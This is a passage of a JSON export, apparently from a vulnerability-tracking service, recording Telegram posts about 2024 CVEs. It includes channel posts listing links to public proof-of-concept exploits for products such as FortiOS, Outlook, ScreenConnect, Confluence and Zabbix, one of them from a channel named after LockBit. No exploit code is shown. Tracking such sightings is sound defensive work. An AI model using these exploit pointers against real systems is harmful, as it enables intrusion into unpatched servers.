\u0645\u0646\u062c\u0631 \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645 \u0645\u06cc\u0632\u0628\u0627\u0646 \u0634\u0648\u062f. \n\ud83d\udfe1\u0627\u0645\u062a\u06cc\u0627\u0632 CVSS \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 Workstation \u0648 Fusion \u0628\u0631\u0627\u0628\u0631 \u0628\u0627 9.3 (\u0628\u062d\u0631\u0627\u0646\u06cc) \u0648 \u062f\u0631 ESXi \u0628\u0631\u0627\u0628\u0631 \u0628\u0627 8.4 \u0627\u0631\u0632\u06cc\u0627\u0628\u06cc \u0634\u062f\u0647 \u0627\u0633\u062a. \n\ud83d\udfe1\u0622\u062e\u0631\u06cc\u0646 \u0627\u0633\u06a9\u0646 \u0646\u0634\u0627\u0646 \u0645\u06cc \u062f\u0647\u062f \u06a9\u0647 \u062a\u0639\u062f\u0627\u062f 427 \u062a\u0627 \u0633\u0631\u0648\u0631 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631 VMware \u062f\u0631 \u0627\u06cc\u0631\u0627\u0646 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f \u06a9\u0647 \u0647\u0646\u0648\u0632 Patch \u0646\u0634\u062f\u0647 \u0627\u0646\u062f.\n\n\u2709\ufe0f @PingChannel\n\u062e\u0628\u0631\u060c \u062a\u062d\u0644\u06cc\u0644\u060c \u0627\u0646\u062a\u0642\u0627\u062f - \u0641\u0646\u0627\u0648\u0631\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a\n\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\u00a0 \ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b\ud83d\udd2b", "creation_timestamp": "2025-01-23T21:10:05.000000Z"}, {"uuid": "6accf962-7f20-4bbf-9c19-e97cd115f6cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22267", "type": "seen", "source": "Telegram/Cj91e4B3iZcLGGr-UVJYOcr-TGYmDTp8zo8LHHY5pfrKVIU", "content": "", "creation_timestamp": "2024-06-09T17:52:33.000000Z"}, {"uuid": "763cb798-bc3d-47c2-83ae-eb36cadfff47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22515", "type": "published-proof-of-concept", "source": "Telegram/loHDM9YVIxL09PgZrOi72h5iq2UQYX2jTQSe7VIeGamBCw", "content": "", "creation_timestamp": "2024-01-28T05:49:05.000000Z"}, {"uuid": "e7872e71-b797-4b0e-93f8-6078593c1af7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22514", "type": "published-proof-of-concept", "source": "Telegram/loHDM9YVIxL09PgZrOi72h5iq2UQYX2jTQSe7VIeGamBCw", "content": "", "creation_timestamp": "2024-01-28T05:49:05.000000Z"}, {"uuid": "7dffc65a-ae77-4134-b358-2f9acbf8434c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "published-proof-of-concept", "source": "Telegram/aytDRNJAYRLkAGcpQSQjKrOvI8GFZ0fpnyB27o0JUgg", "content": "", "creation_timestamp": "2024-08-02T06:45:55.000000Z"}, {"uuid": "d8c9310f-ef8f-45b5-b949-24452d4c29e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "https://t.me/LockBitChannels/119126", "content": "#exploit\nCVE-2024-20328:\nClamAV Command Injection Bug\nhttps://amitschendel.github.io/vulnerabilites/CVE-2024-20328\n\nCVE-2024-24816:\nCKEditor XSS vulnerability\nhttps://github.com/afine-com/CVE-2024-24816\n\nCVE-2023-35080:\nIvanti/Pulse VPN Client Exploit\nhttps://github.com/HopHouse/Ivanti-Pulse_VPN-Client_Exploit-CVE-2023-35080_Privilege-escalation\n\nCVE-2024-0811:\nChrome pageCapture.saveAsMHTML() Extension API Blocked Origin Bypass\nhttps://packetstormsecurity.com/files/177172/Chrome-chrome.pageCapture.saveAsMHTML-Extension-API-Blocked-Origin-Bypass.html\n\nCVE-2023-50387:\nKeyTrap in DNS/DNSSEC\nhttps://github.com/knqyf263/CVE-2023-50387\n\nCVE-2024-22369:\nApache Camel Unsafe Deserialization\nhttps://github.com/oscerd/CVE-2024-22369\n\nCVE-2024-1708/CVE-2024-1709:\nScreenConnect Authentication Bypass\nhttps://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass\n\nCCE-2024-21413:\nMicrosoft Outlook RCE\nhttps://github.com/Mdusmandasthaheer/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability\n\nCVE-2024-24401:\nNagios Authenticated SQL Injection\nhttps://github.com/MAWK0235/CVE-2024-24401\n\nCVE-2024-1071:\nWordPress Ultimate Member Unauthorized Database Access/SQLi\nhttps://github.com/gbrsh/CVE-2024-1071\n\nCVE-2024-1651:\nTorrentpier RCE Exploit\nhttps://github.com/sharpicx/CVE-2024-1651-PoC\n\nCVE-2023-50386:\nApache Solr Backup/Restore APIs RCE\nhttps://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC\n\nCVE-2024-21762:\nFortiOS 6.0 - 7.4 - OoB/RCE\nhttps://github.com/c0d3b3af/CVE-2024-21762-POC\n\nCVE-2024-26521:\nCE Phoenix v1.0.x Html Injection\nhttps://github.com/hackervegas001/CVE-2024-26521\n\nCVE-2024-21672:\nConfluence Data Center/ Server RCE\nhttps://github.com/swagcrafted/CVE-2024-21672-POC\n\nCVE-2023-49109:\nRCE in Apache Dolphinscheduler\nhttps://xz.aliyun.com/t/13913?time__1311=mqmxnQ0%3D3eqQqGNDQiFbFD9Q7fCKAKx\n\nCVE-2024-21410:\nMS Exchange Privilege Escalation\nhttps://github.com/FreakyM0ndy/CVE-2024-21410-poc", "creation_timestamp": "2024-10-04T00:51:53.000000Z"}, {"uuid": "a32f7b2a-e1e0-4a51-8bbd-25473ac3221a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22734", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/8295", "content": "\ud83d\udea8POC for CVE-2024-22734 Affecting AMCS Trux Software\n\nhttps://darkwebinformer.com/poc-for-cve-2024-22734-affecting-amcs-trux-software/", "creation_timestamp": "2024-12-02T02:01:26.000000Z"}, {"uuid": "2c7833fb-de64-40da-a716-9b3a813ff345", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22270", "type": "seen", "source": "Telegram/Cj91e4B3iZcLGGr-UVJYOcr-TGYmDTp8zo8LHHY5pfrKVIU", "content": "", "creation_timestamp": "2024-06-09T17:52:33.000000Z"}, {"uuid": "46ea1d97-df11-43ac-ae02-6717ce176e3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/Hunt3rkill3rs1/234", "content": "CVE-2024-22120 Zabbix Server \n*\nTime Based SQL Injection", "creation_timestamp": "2024-05-18T14:23:39.000000Z"}, {"uuid": "226f8fcd-d18b-43df-a849-299e69523135", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22026", "type": "published-proof-of-concept", "source": "https://t.me/Hunt3rkill3rs1/218", "content": "CVE-2024-22026 \n\nIvanti EPMM \"MobileIron Core\" \n\nexploit", "creation_timestamp": "2024-05-15T20:40:52.000000Z"}, {"uuid": "ebfbb5e3-7c7d-405f-8c9e-b693c8eb3290", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/5332", "content": "\u200aVMware vCenter Server RCE (CVE-2024-22274): PoC Exposes Systems to Remote Takeover\n\nhttps://securityonline.info/vmware-vcenter-server-rce-cve-2024-22274-poc-exposes-systems-to-remote-takeover/", "creation_timestamp": "2024-07-09T10:08:52.000000Z"}, {"uuid": "7c54920a-b189-4fea-9676-4e417cc8e4c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22116", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/9644", "content": "\u200aCVE-2024-22116 (CVSS 9.9): Critical RCE Vulnerability Found in Zabbix Monitoring Solution\n\nhttps://securityonline.info/cve-2024-22116-cvss-9-9-critical-rce-vulnerability-found-in-zabbix-monitoring-solution/", "creation_timestamp": "2024-08-13T09:33:03.000000Z"}, {"uuid": "f4d4f68f-2c88-4c4f-b53d-92cc30d14f7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22169", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/8985", "content": "\u200aCVE-2024-22169: Western Digital\u2019s WD Discovery App Exposed to Code Execution Vulnerability\n\nhttps://securityonline.info/cve-2024-22169-western-digitals-wd-discovery-app-exposed-to-code-execution-vulnerability/", "creation_timestamp": "2024-08-08T13:38:59.000000Z"}, {"uuid": "e874630e-2cb2-41b4-8859-2543b0ada684", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22442", "type": "seen", "source": "https://t.me/HackingInsights/6630", "content": "\u200aCVE-2024-22442 (CVSS 9.8): HPE Patches Critical 3PAR Service Processor Flaw\n\nhttps://securityonline.info/cve-2024-22442-cvss-9-8-hpe-patches-critical-3par-service-processor-flaw/", "creation_timestamp": "2024-07-19T10:45:24.000000Z"}, {"uuid": "8ccf63e6-1639-41f4-974f-6f8dd7da434b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22274", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/6380", "content": "Exploiting CVE-2024\u201322274: A Deep Dive into VMware vCenter Server Vulnerabilities and Defense\u2026: https://systemweakness.com/exploiting-cve-2024-22274-a-deep-dive-into-vmware-vcenter-server-vulnerabilities-and-defense-5d79b44ed215?source=rss------bug_bounty-5", "creation_timestamp": "2024-07-18T04:18:36.000000Z"}, {"uuid": "e44bb3b2-3a37-48bd-af86-b95783b63e97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22267", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/431", "content": "\u200aBroadcom Reveals Critical VMware Flaws: Code Execution (CVE-2024-22267) and Data Leaks\n\nhttps://securityonline.info/broadcom-reveals-critical-vmware-flaws-code-execution-cve-2024-22267-and-data-leaks/", "creation_timestamp": "2024-05-14T19:13:50.000000Z"}, {"uuid": "ad1c2e82-b705-4fd4-94d9-551dee0a5ad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22263", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/1166", "content": "\u200aCVE-2024-22263 Flaw in Spring Cloud Data Flow Could Lead to Server Takeover\n\nhttps://securityonline.info/cve-2024-22263-flaw-in-spring-cloud-data-flow-could-lead-to-server-takeover/", "creation_timestamp": "2024-05-30T13:10:48.000000Z"}, {"uuid": "7190f494-aa24-48e8-857d-eab397783498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/644", "content": "\u200aCVE-2024-22120 (CVSS 9.1): Zabbix SQLi Vulnerability Exposes IT Infrastructure to Attack\n\nhttps://securityonline.info/cve-2024-22120-cvss-9-1-zabbix-sqli-vulnerability-exposes-it-infrastructure-to-attack/", "creation_timestamp": "2024-05-18T12:43:32.000000Z"}, {"uuid": "f8b91a09-4c47-4ad3-8236-d5b7c3641805", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22026", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/614", "content": "\u200aIvanti EPMM CVE-2024-22026 Vulnerability: Potential for Full System Takeover, PoC Published\n\nhttps://securityonline.info/ivanti-epmm-cve-2024-22026-vulnerability-potential-for-full-system-takeover-poc-published/", "creation_timestamp": "2024-05-17T18:05:21.000000Z"}, {"uuid": "e9932472-773f-4a08-9dc5-fb621c782cbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22476", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/606", "content": "\u200aCVE-2024-22476 (CVSS 10): Intel\u2019s Critical AI Flaw Leaves Systems Open to Attack\n\nhttps://securityonline.info/cve-2024-22476-cvss-10-intels-critical-ai-flaw-leaves-systems-open-to-attack/", "creation_timestamp": "2024-05-17T14:56:14.000000Z"}, {"uuid": "5f17a0ba-8d0a-4f9a-ba49-336b8b600a04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22340", "type": "seen", "source": "Telegram/_bRMYldJCGIXUSb3ge3BtZK4Cut9JDSldXAwEW6FOUuyLP55", "content": "", "creation_timestamp": "2025-03-11T04:41:14.000000Z"}, {"uuid": "df7ae04d-e95b-4c6d-b016-81d0eb088d07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22273", "type": "seen", "source": "Telegram/PuQwCHlCIT2RGR7Hpb0MZmwOeJH932D1mkObQoUF0cPLHwXH", "content": "", "creation_timestamp": "2025-03-02T11:46:30.000000Z"}, {"uuid": "c13f3970-4c88-44bc-831c-242c1409bf7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2202", "type": "seen", "source": "Telegram/5wOesHrqvwe1UQtENTZn0zdhPunqRjIW8gg9Ah1LVUgXR8kz", "content": "", "creation_timestamp": "2025-02-14T10:08:11.000000Z"}, {"uuid": "8b73db7e-130b-412b-8092-73f3fcec9171", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22184", "type": "seen", "source": "Telegram/BGYZizTP0XtB8A9I6GDg4tlILO--6ye3bmnFbAfpd9VBD8Ve", "content": "", "creation_timestamp": "2025-02-06T02:42:29.000000Z"}, {"uuid": "8aa57d6f-b3d6-4b85-b46e-e322454eaac2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22184", "type": "seen", "source": "Telegram/zJ3_QEPmuJY4FIvp39kh9LJNqGVGUm-HKoQ7RICBog9YVnsO", "content": "", "creation_timestamp": "2025-02-06T02:41:39.000000Z"}, {"uuid": "d3b88efa-a34a-47b2-b5bd-d106f9a8e393", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22235", "type": "seen", "source": "Telegram/zrvacZcryUZoZQ5LgUhbPwGnbu1ZPJMJ8nn1SWMYvliqSnz2", "content": "", "creation_timestamp": "2025-02-14T10:05:08.000000Z"}, {"uuid": "802fdb92-e9e8-42f8-b76b-f28f3627f0c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22126", "type": "seen", "source": "Telegram/5m0bsIrq9XuwAfgpYHfzeZtvT9Xv8CAzQGcVGl2ry5agsGrd", "content": "", "creation_timestamp": "2025-02-14T10:01:38.000000Z"}, {"uuid": "14cd5489-0e88-4b39-bb26-96e672641c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22288", "type": "seen", "source": "Telegram/HEhKjSl69yKRu98BJinBK0mntebsZF9pW3UM20401mzbPKU9", "content": "", "creation_timestamp": "2025-02-14T10:00:30.000000Z"}, {"uuid": "8e6f5e17-d5b7-4cdb-a017-82fe04b89170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22450", "type": "seen", "source": "Telegram/u1knnzyf27MyFha0Ro2r2SFZubsmfHatTI3q4_QFw9xr8pcv", "content": "", "creation_timestamp": "2025-02-01T17:28:11.000000Z"}, {"uuid": "fc3c0edf-a38f-4d2d-9dcc-23f4d5415470", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "Telegram/FlCG5LHxOyxbJAP3jkFGCzZkhlV9IyY5CC8_DUjXpFJmJI9I", "content": "", "creation_timestamp": "2024-02-12T09:02:26.000000Z"}, {"uuid": "eded76d3-5281-4935-b386-7be3f9498c67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "Telegram/UffJClJk_0j9_vo8Q6KHNXvHVTcRcy9lG8_oz1Z_Zn6_-feZ", "content": "", "creation_timestamp": "2024-02-11T23:45:12.000000Z"}, {"uuid": "6950095d-cc07-4d91-acd7-d6e6851c5bb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "Telegram/72bP_1Q6gZH8f_-8hgHYVHmcicP7WNPey3onZWFVosq2bkOo", "content": "", "creation_timestamp": "2024-02-11T23:42:57.000000Z"}, {"uuid": "f8d81dba-9e96-43f9-8f6e-695341413007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22452", "type": "seen", "source": "Telegram/OBykMn29EqEAFFEUlUXvjdj4kUg3GYyHGHAw40fN8JWr60x-", "content": "", "creation_timestamp": "2025-02-01T17:28:10.000000Z"}, {"uuid": "b81eb371-05ac-4075-9c5d-a4ba652b4829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22301", "type": "seen", "source": "https://t.me/arpsyndicate/3283", "content": "#ExploitObserverAlert\n\nCVE-2024-22301\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-22301. Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Ignazio Scimone Albo Pretorio On line.This issue affects Albo Pretorio On line: from n/a through 4.6.6.", "creation_timestamp": "2024-01-28T12:03:02.000000Z"}, {"uuid": "546e85c8-3b4f-4fbe-8b60-9e3ac2e94a0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22861", "type": "seen", "source": "https://t.me/arpsyndicate/3275", "content": "#ExploitObserverAlert\n\nCVE-2024-22861\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-22861. Integer overflow vulnerability in FFmpeg before n6.1, allows attackers to cause a denial of service (DoS) via the avcodec/osq module.", "creation_timestamp": "2024-01-28T10:55:48.000000Z"}, {"uuid": "aa05b5d6-063f-4db8-a13d-84bf00c9f2ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-2240", "type": "seen", "source": "Telegram/uFK6pXT08f2N_mxPxZG2lYGeAWN2H593_L8I5kX196bDwyB0", "content": "", "creation_timestamp": "2025-02-14T10:09:24.000000Z"}, {"uuid": "69930ed8-ddf9-4252-974c-39c9ce76e189", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22360", "type": "seen", "source": "Telegram/aZnqd84Govqe71A_bRZsQ2bt7s41B2w-crbNIzBIZHhsCzlz", "content": "", "creation_timestamp": "2025-02-01T17:28:11.000000Z"}, {"uuid": "0a40642a-6491-4acb-a20a-781b6e02f4d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/1o3RyjbxkBAdqVV1IakPcUVDj3AIfLmG662gmZzR_AzpiWSm", "content": "", "creation_timestamp": "2025-01-20T11:03:21.000000Z"}, {"uuid": "6a0d5e31-fee0-41d1-b0c9-b26f3123508e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/sSOYy9sa0Jc9yTev23pVTCXx5ZwCCV54W3-F49CmFMjcWAGd", "content": "", "creation_timestamp": "2025-01-19T10:45:19.000000Z"}, {"uuid": "98bb486f-a146-4a48-adc1-545e206b0336", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/UrNq84zyBC1oMAufBesPTpXAbedIsqXaSNJFq3mfmDUScAM", "content": "", "creation_timestamp": "2024-10-04T00:51:11.000000Z"}, {"uuid": "97311b0a-560e-4fff-9ea8-ab42554d3c1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/m_uXFR_n3tw3cdqXp4eNTFp75GNkXoZP5JCdghj_BLdvWjAh", "content": "", "creation_timestamp": "2025-01-19T10:54:11.000000Z"}, {"uuid": "c5f72e66-8a9b-44bf-9de4-23f035e1e3e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/CRo72oop6ZwQnESqwzNS9o-UvXAtRRZBbTaMpkpQIbIEQGCv", "content": "", "creation_timestamp": "2025-01-19T09:05:11.000000Z"}, {"uuid": "58da9948-294a-44ca-9de6-3e870616c4ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "published-proof-of-concept", "source": "Telegram/V1VUnV7rs7gBAtSdtSG9YU8DOLHIzu1kUZjtLh94w5_yW5C9", "content": "", "creation_timestamp": "2024-12-22T22:15:30.000000Z"}, {"uuid": "b6c94e9b-a6b3-4fb5-b3f6-ac9a9e1f350f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/tengkorakcybercrewz/9088", "content": "#CVE-2024-22120: Time Based SQL Injection in #Zabbix Server Audit Log", "creation_timestamp": "2024-05-29T08:25:32.000000Z"}, {"uuid": "43e377cb-2aa7-4cf0-a4fe-9b17006b6b2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/tengkorakcybercrew/9192", "content": "#CVE-2024-22120: Time Based SQL Injection in #Zabbix Server Audit Log", "creation_timestamp": "2024-05-29T08:26:48.000000Z"}, {"uuid": "09e36d3a-37ff-4344-9d94-aac3bb993f45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22051", "type": "seen", "source": "https://t.me/darkcommunityofficial/282", "content": "\u203c\ufe0fCVE-2024-22051\u203c\ufe0f\n\nCommonMarker versions prior to 0.23.4 are at risk of an integer overflow vulnerability. This vulnerability can result in possibly unauthenticated remote attackers to cause heap memory corruption, potentially leading to an information leak or remote code execution, via parsing tables with marker rows that contain more than UINT16MAX columns.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-05T10:07:59.000000Z"}, {"uuid": "a00d9b0b-df3c-45d2-be21-eb78c72587d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22120", "type": "published-proof-of-concept", "source": "https://t.me/paiddpam/3120", "content": "CVE-2024-22120 Zabbix Server \n\nTime Based SQL Injection\n\nhttps://support.zabbix.com/browse/ZBX-24505\n\nhttps://support.zabbix.com/secure/attachment/236280/236280_zabbix_server_time_based_blind_sqli.py", "creation_timestamp": "2024-06-22T07:34:56.000000Z"}, {"uuid": "4415c27e-b3ca-478c-b465-b96280575116", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "seen", "source": "https://t.me/arpsyndicate/4730", "content": "#ExploitObserverAlert\n\nCVE-2024-22262\n\nDESCRIPTION: Exploit Observer has 26 entries in 6 file formats related to CVE-2024-22262. Applications that use UriComponentsBuilder\u00a0to parse an externally provided URL (e.g. through a query parameter) AND\u00a0perform validation checks on the host of the parsed URL may be vulnerable to a  open redirect https://cwe.mitre.org/data/definitions/601.html \u00a0attack or to a SSRF attack if the URL is used after passing validation checks.  This is the same as  CVE-2024-22259 https://spring.io/security/cve-2024-22259 \u00a0and  CVE-2024-22243 https://spring.io/security/cve-2024-22243 , but with different input.\n\nFIRST-EPSS: 0.000430000\nARPS-PRIORITY: 0.710172", "creation_timestamp": "2024-04-20T18:55:00.000000Z"}, {"uuid": "d9569fbf-ff6d-4987-9885-da1c58e91392", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22284", "type": "seen", "source": "https://t.me/arpsyndicate/3295", "content": "#ExploitObserverAlert\n\nCVE-2024-22284\n\nDESCRIPTION: Exploit Observer has 3 entries in 2 file formats related to CVE-2024-22284. Deserialization of Untrusted Data vulnerability in Thomas Belser Asgaros Forum.This issue affects Asgaros Forum: from n/a through 2.7.2.", "creation_timestamp": "2024-01-28T13:37:59.000000Z"}, {"uuid": "a977a8ef-240a-4e15-a73f-2b81f94baedf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22259", "type": "seen", "source": "https://t.me/arpsyndicate/4683", "content": "#ExploitObserverAlert\n\nCVE-2024-22262\n\nDESCRIPTION: Exploit Observer has 4 entries in 2 file formats related to CVE-2024-22262. Applications that use UriComponentsBuilder\u00a0to parse an externally provided URL (e.g. through a query parameter) AND\u00a0perform validation checks on the host of the parsed URL may be vulnerable to a  open redirect https://cwe.mitre.org/data/definitions/601.html \u00a0attack or to a SSRF attack if the URL is used after passing validation checks.  This is the same as  CVE-2024-22259 https://spring.io/security/cve-2024-22259 \u00a0and  CVE-2024-22243 https://spring.io/security/cve-2024-22243 , but with different input.\n\nFIRST-EPSS: 0.000430000\nARPS-EXPLOITABILITY: 0.701451", 